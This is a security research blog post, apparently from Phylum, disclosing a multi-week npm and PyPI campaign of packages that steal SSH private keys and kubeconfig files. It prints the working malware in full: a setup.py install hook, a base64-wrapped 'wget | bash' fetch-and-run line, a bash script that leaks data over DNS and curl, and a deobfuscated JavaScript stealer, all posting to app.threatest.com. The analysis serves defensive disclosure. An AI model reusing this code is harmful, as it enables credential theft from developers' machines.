Sensitive Data Exfiltration Campaign Targets npm and PyPI

Sensitive Data Exfiltration Campaign Targets npm and PyPI

Phylum has discovered another new multi-ecosystem campaign aiming to exfiltrate sensitive machine information to a remote server. The attack has grown in both scope and complexity over the course of the past weeks and appears to be ongoing. Phylum will continue to actively monitor it, providing updates as we learn more.

--cta--

Background and start of campaign

Phylum's automated risk detection platform first alerted us to a suspicious publication back on September 12, 2023, which, as we would later learn, would be the start of a widespread data exfiltration campaign targeting both npm and PyPI. The package was called @am-fe/components and contained just four files, including an obfuscated index.js. Deobfuscating the file reveals an attempt to exfiltrate sensitive data, including kubeconfig files and SSH keys to a remote URL. In the following two weeks, we observed a total of 46 publications distributed among 39 distinct packages within two ecosystems associated with this campaign.

Given the vast number of packages associated with this campaign, the subtle variations in tactics across them, and the fact that it spans two languages—Python and JavaScript—we will focus on highlighting the most intriguing parts from the publication history rather than displaying all the code. For completeness, you can find a deobfuscated version of the earlier and smaller JavaScript code that, for the most part, shows the general intent of the campaign.

The timeline

For the first two days of the campaign, the attacker released 21 npm packages, all with the malicious files obfuscated. It’s worth noting here that a common technique in JavaScript obfuscation involves collecting all the code’s strings into a scrambled array. The strings are then accessed dynamically via indexing later through a convoluted retrieval mechanism in the obfuscated code as needed. This ensures that while the code remains functionally identical, its original intent and structure are concealed. What’s interesting in this case is that in these first few packages, while the code itself is obfuscated, the strings contained within the scrambled array are not. Consequently, even without deobfuscating the code, it’s fairly easy to quickly understand what the intent of the code is by taking a look at the scrambled array.

Here are the packages published in the first two days:

Package Version Ecosystem Publish Date Malicious File
@am-fe/components 0.0.1-beta.16 npm 2023-09-12 02:56:24 package/index.js
@am-fe/hooks 0.0.1-beta.3 npm 2023-09-12 03:01:10 package/index.js
@am-fe/provider 0.0.1-alpha.8 npm 2023-09-12 19:35:29 package/index.js
@am-fe/watermark 1.0.1 npm 2023-09-12 19:37:03 package/index.js
@am-fe/utils 0.0.1-alpha.3 npm 2023-09-12 19:44:17 package/index.js
@soc-fe/use 0.0.2-beta.8 npm 2023-09-12 20:29:30 package/index.js
shineouts 1.12.16-beta.0 npm 2023-09-12 20:59:51 package/index.js
@dynamic-form-components/shineout 1.0.4-alpha.3 npm 2023-09-12 23:37:30 package/index.js
@dynamic-form-components/mui 1.4.2-alpha.1 npm 2023-09-12 23:43:07 package/index.js
@expue/app 0.0.2-alpha.0 npm 2023-09-13 01:20:11 package/index.js
@expue/builder 0.0.3-alpha.0 npm 2023-09-13 19:07:35 package/index.js
@expue/cli 0.0.3-alpha.0 npm 2023-09-13 19:08:42 package/index.js
@expue/config 0.0.3-alpha.0 npm 2023-09-13 19:09:06 package/index.js
@expue/core 0.0.3-alpha.0 npm 2023-09-13 19:09:31 package/index.js
@expue/plugin-express 0.0.3-alpha.0 npm 2023-09-13 19:10:30 package/index.js
@expue/shared 0.0.3-alpha.0 npm 2023-09-13 19:11:05 package/index.js
@expue/types 0.0.3-alpha.0 npm 2023-09-13 19:27:39 package/index.js
@expue/vue-renderer 0.0.3-alpha.0 npm 2023-09-13 19:28:54 package/index.js
@expue/vue3-helper 0.0.3-alpha.0 npm 2023-09-13 19:30:01 package/index.js
@expue/vue3-renderer 0.0.3-alpha.0 npm 2023-09-13 19:31:15 package/index.js
@sheinoutmobile/sheinoutmobile 1.6.0 npm 2023-09-13 19:51:05 package/index.js

All the packages above contained the same four files. Aside from the package.json and a minimal README.mdthey also contained:

  • index.js: the obfuscated malicious file
  • test.js: a simple one-line script containing only console.log("Hello World!");

All packages released prior to @expue/app did not contain any install hooks. This means the victim would have had to run the malicious file manually. @expue/app and all packages published thereafter contained a simple "preinstall": "node index.js" hook in the package.json file. This means that the malicious file would now be executed automatically upon installation.

For the next two days, the attacker released six more npm packages and one PyPI package. They first released apm-web-vitals which appeared to be a full complete package with dozens of files (likely lifted from another project) and contained the install hook "preinstall": "node src/index.js", however, this was likely a mistake because there is no src/index.js file in that package. The malicious file is in src/main.js. They then released a package called systemrobotassistant with an updated hook, pointing correctly to the malicious file.

At this point the attacker shifted to PyPI releasing a package called ssc-concurrent-log-handler. This package contained the following setup.py file:

import setuptools
import os
from setuptools.command.install_scripts import install_scripts
import base64
import socket
import getpass
import json
import platform
from datetime import datetime

packagename = "ssc-concurrent-log-handler"


class InstallScripts(install_scripts):
      def run(self):
            setuptools.command.install_scripts.install_scripts.run(self)

            hostname = socket.gethostname()
            intranet_ip = ""
            try:
                  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                  s.connect(('8.8.8.8', 80))
                  intranet_ip = s.getsockname()[0]
            finally:
                  s.close()
            # print(intranet_ip)
            username = getpass.getuser()
            currentTime = datetime.now()
            externalIp = ""
            try:
                  externalIp = str(os.popen("curl http://ifconfig.io").read())
            except Exception:
                  pass

            home_dir = os.environ['HOME']

            current_path = os.getcwd()
            python_version = platform.python_version()

            kube_dir = os.path.join(home_dir, ".kube", "config")
            sshkey_dir = os.path.join(home_dir, ".ssh", "id_rsa")
            if os.path.exists(kube_dir):
                  with open(kube_dir, 'r') as f:
                        kube_file = f.read()
            else:
                  kube_file = ""

            if os.path.exists(sshkey_dir):
                  with open(sshkey_dir, 'r') as f:
                        ssh_file = f.read()
            else:
                  ssh_file = ""
            data = {
                  "currentTime": str(currentTime),
                  "packagename": str(packagename),
                  "current_path": str(current_path),
                  "hostname": str(hostname),
                  "username": str(username),
                  "intranet_ip": str(intranet_ip),
                  "externalIp": str(externalIp).strip(),
                  "python_version": str(python_version),
                  "kubeconfig": str(base64.b64encode(str(kube_file).encode("utf-8")), "utf-8"),
                  "sshkey": str(base64.b64encode(str(ssh_file).encode("utf-8")), "utf-8")
            }
            jdata = json.dumps(data)
            cmd = "curl -k -v -X POST -H \"Content-type:application/x-www-form-urlencoded\" https://app.threatest.com/report/ -d \'msg="
            cmd = cmd + str(jdata) + "\'"
            os.system(cmd)


setuptools.setup(name=packagename,
      version='0.0.13',
      author='elyesefwqlv',
      license='MIT',
      cmdclass={
              "install_scripts": InstallScripts
          }
)

As mentioned earlier, this is effectively a port of the JavaScript code and because it’s in the setup file, it’ll also run directly upon installation. Here are the packages published during this time:

Package Version Ecosystem Publish Date Malicious File
apm-web-vitals 0.0.1-rc.3 npm 2023-09-14 01:04:09 package/src/main.js
systemrobotassistant 3.0.8 npm 2023-09-14 01:31:02 package/src/main.js
ssc-concurrent-log-handler 0.0.12 pypi 2023-09-14 04:06:56 ssc-concurrent-log-handler-0.0.12/setup.py
@sheinoutmobile/shineoutmobile 1.8.2 npm 2023-09-14 04:08:57 package/src/index.js
ssc-concurrent-log-handler 0.0.13 pypi 2023-09-14 04:46:56 ssc-concurrent-log-handler-0.0.12/setup.py
@virtualsearchtable/virtualsearchtable 0.1.0 npm 2023-09-14 21:09:13 package/scripts/index.js
@fixedwidthtable/fixedwidthtable 0.0.1 npm 2023-09-14 21:12:32 package/scripts/index.js
@fixedwidthtable/fixedwidthtable 0.0.2 npm 2023-09-14 21:12:36 package/scripts/index.js
@spgy/eslint-plugin-spgy-fe 1.0.0-rc.1 npm 2023-09-14 22:35:39 package/scripts/index.js
@spgy/eslint-plugin-spgy-fe 1.0.0-rc.2 npm 2023-09-15 02:46:33 package/scripts/index.js
@fixedwidthtable/fixedwidthtable 0.0.3 npm 2023-09-15 02:48:13 package/scripts/index.js
@virtualsearchtable/virtualsearchtable 0.1.1 npm 2023-09-15 02:49:41 package/scripts/index.js

The attacker then appears to have taken a small break (or perhaps just observed the weekend?) because no new packages were released on September 16 or 17. However, on September 18, they came back to work with new ideas. They started by releasing sc-concurrent-log-handler in which, instead of writing the data collection code in plain text directly in the setup file, they simply pull and execute a bash script from a different subdomain. Here’s the relevant part of the setup file:

shell = b'wget -qO - https://down.threatest.com/uploads/install.sh | bash'
encoded = base64.b64encode(shell)
os.system('echo %s|base64 -d|bash' % encoded)

We managed to pull that shell script from the remote server. Here it is:

#!/bin/bash

touch ConceptualTest.txt
tagDen="pip"
doma='cjq18vv2vtc0000pszdggkb7ssayyyyyd.oast.fun'

# DNS part
# About the OS [H]
nslookup "$(uname).$tagDen.H.$doma"
# About kernelname uname [N]
nslookup "$(hostname).$tagDen.N.$doma"
# About kernel release uname -r [R]
nslookup "$(whoami).$tagDen.R.$doma"
# path pwd [P]
nslookup "$(pwd).$tagDen.P.$doma"

# HTTP request
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'msg={
	"Current_Time":"'$(date +'%Y-%m-%dT%H:%M:%S.%3NZ')'",
	"Os_Version": "'$(uname -a | base64| tr -d '\n')'",
	"Current_Path": "'$(pwd)'",
	"HostName": "'$(hostname)'",
	"UserName": "'$(whoami)'",
	"ID": "'$(id | cut -d '(' -f 1)'",
	"External_ip": "'$(curl -s ifconfig.me)'",
	"Intranet_ip": "'$(ifconfig | grep -m 1 'inet ' | awk '{print $2}')'",
	"Tag": "'${tagDen}'",
	"SSH_Private_Key": "'$(cat $HOME/.ssh/id_rsa | base64)'",
	"Kubernetes_Config": "'$(cat $HOME/.kube/config | base64)'"
}' "https://app.threatest.com/report/"

Unsurprisingly, it effectively collects it the same information and again ships it off to the innocuous sounding endpoint “report”. You can see they make claims of “testing” in the script and use an OAST domain, but we’re skeptical given the amount of obfuscation and number of packages we’ve seen and the fact that they’re exfiltrating private SSH keys and kubeconfig files. Aboveboard bug bounty hunting shouldn’t be going to that extent. Here are the packages published during this time:

Package Version Ecosystem Publish Date Malicious File
sc-concurrent-log-handler 0.0.13 pypi 2023-09-18 03:59:05 sc-concurrent-log-handler-0.0.13/setup.py
ss-concurrent-log-handler 0.0.13 pypi 2023-09-18 04:03:56 sc-concurrent-log-handler-0.0.13/setup.py
sc-concurrent-log-handler 0.0.14 pypi 2023-09-18 04:21:32 sc-concurrent-log-handler-0.0.14/setup.py

Then, they took another break for two days and then shifted tactics once again. On September 20, they released four new packages and updated a previously published one. This time, however, they elected to Base64-encode the strings in the obfuscated malicious file. This means that previously, in the scrambled array, you would find an item like "app.threatest.com" but in this updated version, you’d now see "YXBwLnRocmVhdGVzdC5jb20=". Here are the packages with Base64-encoded strings:

Package Version Ecosystem Publish Date Malicious File
am-packages 0.0.1 npm 2023-09-20 00:36:41 package/dist/index.js
apm-web-vitals 1.0.2 npm 2023-09-20 00:54:42 package/dist/index.js
eslint-plugin-shein-soc-raw 1.1.4 npm 2023-09-20 23:00:50 package/lib/config.js
eslint-plugin-spgy-fe 1.0.1 npm 2023-09-20 23:01:25 package/lib/config.js
sun-flare 1.0.9 npm 2023-09-20 23:20:32 package/flare.beta.js

Then, after another two-day break they released five more npm packages. This time, the strings of interest were double Base64-encoded! So instead of "app.threatest.com" or even "YXBwLnRocmVhdGVzdC5jb20=", you’d now see "WVhCd0xuUm9jbVZoZEdWemRDNWpiMjA9" in the scrambled string array.

Package Version Ecosystem Publish Date Malicious File
@zxncij2390/monorepo3 3.18.0 npm 2023-09-24 20:12:07 package/pre-install.cjs
@zxncij2390/upload-ali-oss 0.1.2 npm 2023-09-24 22:43:07 package/post-install.cjs
@zxncij2390/wash-care-symbol 1.0.3 npm 2023-09-24 22:45:31 package/post-install.cjs
xia-kit 0.0.1-beta.4 npm 2023-09-24 23:14:46 package/src/post-install.cjs
rate-my-web 1.0.6 npm 2023-09-24 23:22:44 package/post-install.cjs

It’s worth mentioning that in these later packages, the malicious file has grown significantly in size. For example, in rate-my-web the malicious file is over 30kB in size—compared to the 5kB range in the earlier packages.

A note about threatest

There is a tool by DataDog called Threatest that, according to its README, “is a CLI and Go framework for testing threat detection end-to-end”. They go on to say

Threatest allows you to detonate an attack technique, and verify that the alert you expect was generated in your favorite security platform.

We suspect that the attackers may have used a domain of the same name in an attempt to blend in with a known security tool. The whois information about this domain reveals that it was registered on September 12, which coincides exactly with the start of the attack.

Where does that leave us?

It's clear that this is a deliberate, evolving attack that is increasing in its complexity, scope, and obfuscation techniques. As this campaign continues, its spread across multiple ecosystems—a trend we observe more often nowadays—once again underscores the vital importance of trusting your dependencies in every ecosystem you use. Given the extensive range of package names, discerning a specific target in this campaign remains challenging at this point.

Full publication history

Package Version Ecosystem Publish Date Malicious File
@am-fe/components 0.0.1-beta.16 npm 2023-09-12 02:56:24 package/index.js
@am-fe/hooks 0.0.1-beta.3 npm 2023-09-12 03:01:10 package/index.js
@am-fe/provider 0.0.1-alpha.8 npm 2023-09-12 19:35:29 package/index.js
@am-fe/watermark 1.0.1 npm 2023-09-12 19:37:03 package/index.js
@am-fe/utils 0.0.1-alpha.3 npm 2023-09-12 19:44:17 package/index.js
@soc-fe/use 0.0.2-beta.8 npm 2023-09-12 20:29:30 package/index.js
shineouts 1.12.16-beta.0 npm 2023-09-12 20:59:51 package/index.js
@dynamic-form-components/shineout 1.0.4-alpha.3 npm 2023-09-12 23:37:30 package/index.js
@dynamic-form-components/mui 1.4.2-alpha.1 npm 2023-09-12 23:43:07 package/index.js
@expue/app 0.0.2-alpha.0 npm 2023-09-13 01:20:11 package/index.js
@expue/builder 0.0.3-alpha.0 npm 2023-09-13 19:07:35 package/index.js
@expue/cli 0.0.3-alpha.0 npm 2023-09-13 19:08:42 package/index.js
@expue/config 0.0.3-alpha.0 npm 2023-09-13 19:09:06 package/index.js
@expue/core 0.0.3-alpha.0 npm 2023-09-13 19:09:31 package/index.js
@expue/plugin-express 0.0.3-alpha.0 npm 2023-09-13 19:10:30 package/index.js
@expue/shared 0.0.3-alpha.0 npm 2023-09-13 19:11:05 package/index.js
@expue/types 0.0.3-alpha.0 npm 2023-09-13 19:27:39 package/index.js
@expue/vue-renderer 0.0.3-alpha.0 npm 2023-09-13 19:28:54 package/index.js
@expue/vue3-helper 0.0.3-alpha.0 npm 2023-09-13 19:30:01 package/index.js
@expue/vue3-renderer 0.0.3-alpha.0 npm 2023-09-13 19:31:15 package/index.js
@sheinoutmobile/sheinoutmobile 1.6.0 npm 2023-09-13 19:51:05 package/index.js
apm-web-vitals 0.0.1-rc.3 npm 2023-09-14 01:04:09 package/src/main.js
systemrobotassistant 3.0.8 npm 2023-09-14 01:31:02 package/src/main.js
ssc-concurrent-log-handler 0.0.12 pypi 2023-09-14 04:06:56 ssc-concurrent-log-handler-0.0.12/setup.py
@sheinoutmobile/shineoutmobile 1.8.2 npm 2023-09-14 04:08:57 package/src/index.js
ssc-concurrent-log-handler 0.0.13 pypi 2023-09-14 04:46:56 ssc-concurrent-log-handler-0.0.12/setup.py
@virtualsearchtable/virtualsearchtable 0.1.0 npm 2023-09-14 21:09:13 package/scripts/index.js
@fixedwidthtable/fixedwidthtable 0.0.1 npm 2023-09-14 21:12:32 package/scripts/index.js
@fixedwidthtable/fixedwidthtable 0.0.2 npm 2023-09-14 21:12:36 package/scripts/index.js
@spgy/eslint-plugin-spgy-fe 1.0.0-rc.1 npm 2023-09-14 22:35:39 package/scripts/index.js
@spgy/eslint-plugin-spgy-fe 1.0.0-rc.2 npm 2023-09-15 02:46:33 package/scripts/index.js
@fixedwidthtable/fixedwidthtable 0.0.3 npm 2023-09-15 02:48:13 package/scripts/index.js
@virtualsearchtable/virtualsearchtable 0.1.1 npm 2023-09-15 02:49:41 package/scripts/index.js
sc-concurrent-log-handler 0.0.13 pypi 2023-09-18 03:59:05 sc-concurrent-log-handler-0.0.13/setup.py
ss-concurrent-log-handler 0.0.13 pypi 2023-09-18 04:03:56 sc-concurrent-log-handler-0.0.13/setup.py
sc-concurrent-log-handler 0.0.14 pypi 2023-09-18 04:21:32 sc-concurrent-log-handler-0.0.14/setup.py
am-packages 0.0.1 npm 2023-09-20 00:36:41 package/dist/index.js
apm-web-vitals 1.0.2 npm 2023-09-20 00:54:42 package/dist/index.js
eslint-plugin-shein-soc-raw 1.1.4 npm 2023-09-20 23:00:50 package/lib/config.js
eslint-plugin-spgy-fe 1.0.1 npm 2023-09-20 23:01:25 package/lib/config.js
sun-flare 1.0.9 npm 2023-09-20 23:20:32 package/flare.beta.js
@zxncij2390/monorepo3 3.18.0 npm 2023-09-24 20:12:07 package/pre-install.cjs
@zxncij2390/upload-ali-oss 0.1.2 npm 2023-09-24 22:43:07 package/post-install.cjs
@zxncij2390/wash-care-symbol 1.0.3 npm 2023-09-24 22:45:31 package/post-install.cjs
xia-kit 0.0.1-beta.4 npm 2023-09-24 23:14:46 package/src/post-install.cjs
rate-my-web 1.0.6 npm 2023-09-24 23:22:44 package/post-install.cjs

The Code

Here’s a snippet of the earlier malicious files deobfuscated. The later files get much larger in size—exceeding 30kB in some cases.

const os = require('os');
const dns = require('dns');
const querystring = require('querystring');
const https = require('https');
const child_process = require('child_process');
const fs = require('fs');
const path = require('path');
const packageJSON = require('./package.json');

const packageName = packageJSON.name;
const currentDir = process.cwd();
const hostname = os.hostname();
const activeDirectoryDomain = process.env.USERDNSDOMAIN;
const username = os.userInfo().username;
const dnsServers = dns.getServers();
const networkInterfaces = os.networkInterfaces();

let ipv4 = '';
let ipv6 = '';
let macAddr = '';

Object.keys(networkInterfaces).forEach(iface => {
    networkInterfaces[iface].forEach(addressInfo => {
        if (addressInfo.family === 'IPv4' && !addressInfo.internal) {
            ipv4 = addressInfo.address;
        }
        if (addressInfo.family === 'IPv6' && !addressInfo.internal) {
            ipv6 = addressInfo.address;
        }
        if (addressInfo.mac && addressInfo.mac !== '00:00:00:00:00:00') {
            macAddr = addressInfo.mac;
        }
    });
});

const resolvedPath = packageJSON.___resolved;
const nodeVersion = process.version;
const kubeConfigFilePath = path.join(os.homedir(), '.kube', '/config');
const sshKeyFilePath = path.join(os.homedir(), '.ssh', 'id_rsa');

const collectFileContent = filePath => {
    try {
        return fs.readFileSync(filePath, 'utf8');
    } catch (error) {
        console.error(error);
        return '';
    }
};

const isVirtualMachine = () => {
    const cpuModel = os.cpus()[0].model;
    const vendor = os.cpus()[0].vendor;
    const platform = os.platform();

    return (cpuModel.includes('VMware Virtual Processor') && vendor === 'GenuineIntel') ||
        cpuModel.includes('QEMU Virtual CPU') ||
        cpuModel.includes('VirtualBox') ||
        (platform === 'linux' && fs.existsSync('/dev/kvm'));
};

const getExternalIp = async () => {
    try {
        const data = await https.get('https://ipinfo.io/json', response => {
            response.setEncoding('utf8');
            let rawData = '';
            response.on('data', chunk => { rawData += chunk; });
            response.on('end', () => {
                const parsedData = JSON.parse(rawData);
                const externalIp = parsedData.ip;
                const payload = {
                    current_time: new Date().toISOString(),
                    package: packageName,
                    script_path: process.argv[1],
                    current_path: currentDir,
                    hostname,
                    ad: activeDirectoryDomain,
                    username,
                    dns: dnsServers,
                    intranet_ipv4: ipv4,
                    intranet_ipv6: ipv6,
                    mac_addr: macAddr,
                    npm_version: nodeVersion,
                    r: resolvedPath,
                    kube_config: collectFileContent(kubeConfigFilePath),
                    ssh_key: collectFileContent(sshKeyFilePath),
                    external_ip: externalIp,
                    isVirtualMachine: isVirtualMachine(),
                    pjson: packageJSON
                };
                const postData = querystring.stringify({ msg: JSON.stringify(payload) });
                const requestOptions = {
                    hostname: 'app.threatest.com',
                    port: 443,
                    path: '/report/',
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                        'Content-Length': postData.length
                    }
                };
                const req = https.request(requestOptions, res => {
                    res.on('data', d => { process.stdout.write(d); });
                });
                req.on('error', error => { console.error(error); });
                req.write(postData);
                req.end();
            });
        });
    } catch (error) {
        console.error(error);
    }
};

if (path.basename(process.argv[1]) === 'index.js') {
    getExternalIp();
} else {
    console.warn('This script can only be run from index.js');
}
Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.